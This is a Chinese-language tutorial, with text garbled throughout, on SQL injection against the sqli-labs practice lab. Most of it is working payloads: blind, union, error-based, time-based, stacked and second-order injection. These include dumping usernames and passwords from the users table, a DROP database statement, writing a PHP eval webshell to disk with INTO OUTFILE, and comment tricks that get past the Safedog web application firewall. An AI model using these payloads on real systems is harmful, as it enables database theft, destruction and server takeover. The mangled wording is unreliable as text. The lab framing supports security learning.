免责申明

浏览前请先熟读《网络安全法》相干内容,以下知识点仅供学习应用,因为流传,利用此文所提供的信息而造成的任何间接或间接的结果和损失,均由使用者自己负责,文章作者不承当任何责任。

理解SQL注入

SQL注入是因为后盾SQL语句拼接了用户的输出,而且Web应用程序对用户输出数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者能够通过结构不同的SQL语句来实现对数据库的任意操作。比方查问、删除,减少,批改数据等等,如果数据库的用户权限足够大,还能够对操作系统执行操作。
SQL注入能够分为平台层注入和代码层注入。前者由不平安的数据库配置或数据库平台的破绽所致;后者次要是因为程序员对输出未进行粗疏地过滤。SQL注入是针对数据库、后盾、零碎层面的攻打!

相熟数据库

目前市面上应用MySql的数量还是比拟多的,所以佩剑以MySql举例,所以先理解点MySQL无关的常识。在MySQL5.0之后增加了 information_schema 的数据库,该数据库中的表都是只读的,不能过程正删改查,实际上就是一个视图,不是根本的表构造。无奈被删除。

DROP DATABASE information_schema> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'

特地要留神的是数据库中的正文符,在后续的SQL注入过程中,绕过平安狗有特地重要的作用,须要灵便组合搭配

mysql中正文符:#   、/**/  、  -- 

information_schema数据库中三个很重要的表:

information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名information_schema.tables:该数据表存储了mysql数据库中的所有数据表的表名information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

Mysql罕用函数

  1. version():查询数据库的版本
  2. user():查询数据库的使用者
  3. database():数据库
  4. system_user():零碎用户名
  5. session_user():连贯数据库的用户名
  6. current_user:以后用户名
  7. load_file():读取本地文件
  8. @@datadir:读取数据库门路
  9. @@basedir:mysql装置门路
  10. @@version_complie_os:查看操作系统
  11. ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii("a")=97
  12. length(str) : 返回给定字符串的长度,如 length("string")=6
  13. substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr("chinese",3,2)="in"
  14. substr()、stbstring()、mid() 三个函数的用法、性能均统一
  15. concat(username):将查问到的username连在一起,默认用逗号分隔
  16. concat(str1,'',str2):将字符串str1和str2的数据查问到一起,两头用连贯
  17. group_concat(username) :将username数据查问在一起,用逗号连贯
  18. limit 0,1:查问第1个数,limit 1,1: 查问第2个数

以上是在SQL注入过程中常常用到的,如果还须要理解其余的函数能够自行百度

SQL注入的分类

注入点类型分类

  1. 数字类型
  2. 字符串类型
  3. 搜寻型

    提交形式分类

  4. GET
  5. POST
  6. COOKIE
  7. HTTP头

    获取信息的形式分类

  8. 布尔盲注
  9. 工夫盲注
  10. 报错注入
  11. 联结查问
  12. 堆查问注入

判断是否存在SQL注入

一个网站有特地多页面,怎么判断是否存在SQL注入。能够通过现成的工具例如:AWVS、AppScan、Nessus、SqlMap等。也能够在GitHub上子域名扫描器,把整个站所有子域名都扫描进去,而后再逐渐扫描破绽【扫描的网站肯定要在得到许可后,能力扫描】。
然而有的时候工具不是万能的,工具只是大面积的扫描,有很多时候还是须要手动判断是否有SQL注入破绽。上面以MySql 5.5版本为例,相熟SQL注入流程,积攒教训。

盲注:服务器没有谬误回显时实现的注入攻打。服务器没有谬误回显,无奈判断是否胜利注入所以须要找到一个方面让服务器报错
  1. 先加单引号'、双引号"、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入破绽了。
  2. 在URL前面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,必定存在SQL注入破绽了。
  3. 有时候通过简略的条件语句比方 and 1=2 是无奈看出异样,就须要工夫盲注

    环境筹备

    上面咱们搭建sqli-labs靶机验证个个注入办法
    我把靶机装置在Centos7虚拟机上,装置的时候须要装置小皮【phpstudy】 官网教程曾经十分具体就不赘述了。强调的一点就是sqli-labs用的php框架比拟老,须要装置5.x版本的php,如果是默认的7.x版本启动会报错,装置5.5+mysql默认用户名明码即可
    批改sqli-labs配置文件

    输出地址就能拜访

    点击Setup/reset Database for labs 链接主动靶场数据脚本插入到数据库中
    初学能够革新一下靶场的代码,让sql显示到页面上,能更好的了解sql输出的全过程。当然间接装置到本地会更好操作一下,看集体习惯

    这样就能够应用了

    Boolean盲注【耗时】

    咱们先以Less-5举例,首先代码革新一下,将SQL打在页面上,能够更不便咱们了解


    我用的是火狐浏览器,能够在扩大里装置Max HackBar【收费】,在应用的过程中会很不便。
    当咱们输出http://127.0.0.1/sqli/Less-5/...' 咱们失去上面的页面

    由此能够看出代码把 id 当成了字符来解决,而且前面还有一个限度显示的行数 limit 0,1 。当咱们输出的语句正确时,就显示You are in.... 当咱们输出的语句谬误时就报出 SQL 语句谬误。
    依据以上的信息咱们能够猜出sql的大略写法

    $sql="SELECT * FROM 表 WHERE id='$id' LIMIT 0,1";    //sql查问语句$result=mysql_query($sql);

    所以能够通过一些结构语句猜测咱们的判断,盲注个别用到的函数有substr() 、length(),exists()、concat()、ascii()等。

    1、判断数据库类型

    这个例子曾经通知咱们数据类型,在不晓得什么数据库的,须要通过exists()函数判断是什么数据库

    //判断是否是 Mysql数据库http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from information_schema.tables) # //判断是否是 access数据库http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from msysobjects) #//判断是否是 Sqlserver数据库http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from sysobjects) #

    看哪个不报错就能判断是什么数据库,前面的#号是正文掉前面的sql
    对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作。
    information_schema.tables存储了数据表的元数据信息,上面对罕用的字段进行介绍:

  4. table_schema: 记录数据库名
  5. table_name: 记录数据表名
  6. table_rows: 对于表的粗略行预计
  7. data_length : 记录表的大小(单位字节)

    2、判断以后数据库名
    1:判断以后数据库的长度,利用二分法http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>5   //失常显示http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>10   //不显示任何数据http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>7   //失常显示http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>8   //不显示任何数据 大于7失常显示,大于8不显示,所以可知以后数据库长度为 8 2:判断以后数据库的字符,和下面的办法一样,利用二分法顺次判断//判断数据库的第一个字符http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),1,1))>100//判断数据库的第二个字符http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),2,1))>100 ...........由此能够判断出以后数据库为 security
    3、判断以后数据库中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from admin)   //猜想以后数据库中是否存在admin表1:判断以后数据库中表的个数// 判断以后数据库中的表的个数是否大于5,用二分法顺次判断,最初得悉以后数据库表的个数为4http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 #2:判断每个表的长度//判断第一个表的长度,用二分法顺次判断,最初可知以后数据库中第一个表的长度为6http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 //判断第二个表的长度,用二分法顺次判断,最初可知以后数据库中第二个表的长度为6http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=63:判断每个表的每个字符的ascii值//判断第一个表的第一个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # //判断第一个表的第二个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #.........由此可判断出存在表 emails、referers、uagents、users ,猜想users表中最有可能存在账户和明码,所以以下判断字段和数据在 users 表中判断
    4、判断以后数据库中的表
    http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select username from admin)   //猜想是否存在username字段1:判断表中字段的个数//判断users表中字段个数是否大于5,这里的users表是通过下面的语句爆进去的http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(column_name) from information_schema.columns where table_name='users')>5 #2:判断字段的长度//判断第一个字段的长度http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 //判断第二个字段的长度http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>53:判断字段的ascii值//判断第一个字段的第一个字符的长度http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 //判断第一个字段的第二个字符的长度http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100...........由此可判断出users表中存在 id、username、password 字段
    5、判断字段中的数据
    下面办法曾经晓得users中有三个字段 id 、username 、password,当初爆出每个字段的数据 1: 判断数据的长度// 判断id字段的第一个数据的长度http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 0,1))>5 // 判断id字段的第二个数据的长度http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 1,1))>52:判断数据的ascii值// 判断id字段的第一个数据的第一个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断id字段的第一个数据的第二个字符的ascii值http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),2,1))>100...........

    union注入

    union联结查问实用于有显示列的注入,能够通过order by来判断以后表的列数
    咱们用Less-2举例

    http://127.0.0.1/sqli/Less-2/?id=1 order by 4 #



    阐明只有3个字段

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1 ,2 ,3 #


    留神id要输出一个没有的参数,能力将union显示进去

    http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1 ,2 ,3 #

    也能够写成谬误数据and 1=2
    这时候须要一些函数来帮咱们查问重要信息

    version() :数据库的版本     database() :以后所在的数据库      user() :数据库的用户   current_user() : 以后用户名system_user() : 零碎用户名     session_user() :连贯到数据库的用户名@@basedir :  数据库的装置目录@@datadir :数据库文件的寄存目录  


    通过union注入取得更多的信息

    // 取得所有的数据库 http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(schema_name),3 from information_schema.schemata# // 取得所有的表http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(table_name),3 from information_schema.tables#// 取得所有的列http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(column_name),3 from information_schema.columns# #获取以后数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于以后数据库下的话不能查问其余数据库内的数据)http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(password),3 from users #


    通过上面的语句失去以后数据库的所有的表

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #


    通过上面的语句晓得每一个表中的列

    http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #


    最初将users表中的所有数据都给爆进去了

    http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,group_concat(id,'**',username,'**',password),3 from users #

当有显示列的时候,能够利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;

文件读写

union注入读取文件
http://127.0.0.1/sqli/Less-2/?id=-1  union select 1,2,load_file("D:/1.txt")#
union写入文件
union注入写入一句话木马  into outfile 和 into dumpfile 都能够http://127.0.0.1/sqli/Less-1/?id=-1  union select 1,2,'<?php @eval($_POST[aaa]);?>'  into outfile  'D:/1.php' #

报错注入

页面上没有显示位,然而须要输入 SQL 语句执行错误信息

ExtractValue报错注入
EXTRACTVALUE (XML_document, XPath_string)第一个参数:XML_document 是 String 格局,为 XML 文档对象的名称第二个参数:XPath_string (Xpath 格局的字符串).作用:从指标 XML 中返回蕴含所查问值的字符串
// 能够将 user() 改成任何咱们想要查问的函数和sql语句 ,0x7e示意的是 ~http://127.0.0.1/sqli/Less-2/?id=-1  and extractvalue(1,concat(0x7e,database(),0x7e))#

UpdateXml报错注入

UpdateXml 函数实际上是去更新了XML文档,然而咱们在XML文档门路的地位外面写入了子查问,咱们输出特殊字符,而后就因为不合乎输出规定而后报错了,然而报错的时候他其实曾经执行了那个子查问代码!

UPDATEXML (XML_document, XPath_string, new_value)第一个参数:XML_document 是 String 格局,为 XML 文档对象的名称第二个参数:XPath_string (Xpath 格局的字符串) 第三个参数:new_value,String 格局,替换查找到的符合条件的数据

// 能够将 user() 改成任何咱们想要查问的函数和sql语句 ,0x7e示意的是 ~

http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,database(),0x7e),1)#

工夫盲注

Timing Attack注入,也就是工夫盲注。通过简略的条件语句比方 and 1=2 是无奈看出异样的。
在MySQL中,有一个Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr) ,这个函数执行的后果,是将表达式 expr 执行 count 次 。利用Benchmark函数,能够让同一个函数执行若干次,使得后果返回的工夫比平时要长,通过工夫长短的变动,能够判断注入语句是否执行胜利.

http://127.0.0.1/sqli/Less-1/?id=1 and sleep(5)#

REGEXP正则匹配

正则表达式通常被用来检索、替换那些合乎某个模式(规定)的文本

http://127.0.0.1/sqli/Less-1/?id=1 and  1=(select 1 from information_schema.tables where table_schema=security and table_name regexp ^[a-z] limit 0,1) #

重叠注入

在SQL中,分号;是用来示意一条sql语句的完结,在 ; 完结后持续结构下一条语句继续执行就是迭代注入。【目前集体发现只有mysql好用】

Select * from user where name='root';DROP database user;

二次注入

二次注入破绽是一种在Web应用程序中宽泛存在的安全漏洞模式。绝对于一次注入破绽而言,二次注入破绽更难以被发现,然而它却具备与一次注入攻打破绽雷同的攻打威力。
以Less-24为例
新建一个账号

新建的用户名为:admin'# 明码为:123456


数据曾经插入

登录批改明码

将admin明码批改了

为什么会这样呢?咱们查看批改明码页面源代码,发现这里存在显著的SQL注入破绽

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');        $row = mysql_affected_rows();

当咱们提交用户名 admin'# 批改明码为 aaaaaa 的时候,这条SQL语句就变成了上面的语句了。#把前面的都给正文了,所以就是批改了admin用户的明码为 aaaaaa

$sql = "UPDATE users SET PASSWORD='aaaaaa' where username='admin'#' and password='$curr_pass' ";

User-Agent注入

拜访 http://127.0.0.1/sqli/Less-18/ 咱们先抓包

批改其User-Agent为

and extractvalue(1,concat(0x7e,database(),0x7e))and 1=1  #

页面将以后的数据库显示进去了

绕过平安狗

环境筹备

在装置平安狗之前,肯定要先做好装置apache2.4这一项
平安狗配置

下载最新4.0 平安狗

1=1绕过

首先这里的话是尝试一个1=1

更换成true=true进行尝试 还是不行
尝试用/*/来充当正文符 仍然不行
发现很多都能够充当空格来进行绕过,咱们随便筛选一个进行尝试,结构payload如下

http://127.0.0.1/sqli/Less-2/?id=1 and/*////*/1 #

order by 绕过

http://127.0.0.1/sqli/Less-2/?id=1 order/*////*/by 3 --+

联结查问绕过

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,3--+

各种正文绕过

http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,database/*///-*/()--+

SQL注入的预防

  • 能够采纳预编译语句集,它内置了解决SQL注入的能力,只有应用它的setXXX办法传值即可。
  • 应用正则表达式过滤
  • 待更新